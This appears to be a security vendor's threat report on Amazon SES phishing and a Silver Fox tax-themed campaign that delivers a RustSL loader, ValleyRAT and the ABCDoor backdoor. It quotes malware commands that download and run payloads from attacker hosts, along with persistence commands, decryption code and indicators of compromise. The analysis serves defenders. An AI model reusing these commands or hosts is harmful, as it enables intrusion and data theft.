The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

In the December campaign, the malicious code was embedded directly within the files attached to the email.

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

• Eight payload encryption methods
• Thirteen memory allocation methods
• Twelve sandbox and virtual machine detection techniques
• Thirteen payload execution methods
• Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

• sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
• enc_payload_len: the size of the encrypted payload
• sgn_iterations and sgn_key: parameters used for decryption
• sgn_decoder_size and decoder: unused fields
• enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
   

   Original file containing the encrypted malicious payload

2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
   

   Encrypted malicious payload prior to the final decryption stage

4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

• ip-api.com (the GitHub version relies solely on this service)
• ipwho.is
• ipinfo.io
• ipapi.co
• www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

• As an email attachment
• Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

• Embedded within the loader body
• Hosted on an external website as a PNG image
• Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

• p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
• bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key	Description
HKCU:\Console\0	For x86-based modules
HKCU:\Console\1	For x64-based modules
HKCU:\Console\IpDate	Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info	Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value	Module name	Library MD5 hash	Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0	保86.dll	4a5195a38a458cdd2c1b5ab13af3b393	2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0	保86.dll	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32
2375193669e243e830ef5794226352e7	保86.dll_bin	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

1. Using the InternetReadFile function with the User-Agent PythonDownloader
2. Using the URLDownloadToFile function
3. Using PowerShell:
   

   powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

4. Using curl:
   

   curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.batAfter copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
   

   "C:\Users\<username>\AppData\Local\appclient\python\pythonw.exe" -m appclient

   
   Persistence is established by executing the following command:
   

   cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

2. Task scheduler: The malware executes
   

   cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

• MainManager: handles C2 connection and authorization (sending system metadata)
• MessageManager: registers and executes message handlers
• AutoStartManager: manages backdoor persistence
• ClientManager: handles backdoor updates and removal
• SystemInfoManager: collects data from the victim’s system, including screenshots
• RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
• FileManager: performs file system operations
• KeyboardManager: emulates keyboard input
• ProcessManager: manages system processes
• ClipboardManager: exfiltrates clipboard contents to the C2
• CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
• Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

• Emulating a double click while broadcasting the victim’s screen
• A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

• Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
• Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
• Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version	Compiled date (UTC)	Key updates	ABCDoor .pyd MD5 hash
121	2024.12.19 18:27:11	–  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg) –  No OOP used –  Registry persistence	5b998a5bc5ad1c550564294034d4a62c
143	2025.02.04 01:15:00	Client updates –  Task scheduler persistence –  OOP implementation (classes) –  Clipboard management –  Process management –  Asymmetric file and directory encryption	c50c980d3f4b7ed970f083b0d37a6a6a
152	2025.04.01 15:39:36	–  DPAPI encryption functions –  Chunked file uploading to C2	de8f0008b15f2404f721f76fac34456a
154	2025.05.09 13:36:24	–  Implementation of installation channels –  Key combination emulation	9bf9f635019494c4b70fb0a7c0fb53e4
156	2025.08.11 13:36:10	–  Retrieval and logging of initial installation time to the registry	a543b96b0938de798dd4f683dd92a94a
157	2025.08.28 14:23:57	–  Use of DDA source in ffmpeg for monitor screen broadcasting	fa08b243f12e31940b8b4b82d3498804
157	2025.09.23 11:38:17	–  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)	13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

• • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
  • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    

    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

    
    This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

• • • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
      • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
      • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
    • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
    • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

• • • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
    • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
    • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
    • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
    • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
    • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

• • • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
    • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
    • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
    • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
    • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

When executed, the SFX archive ran the following script:

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
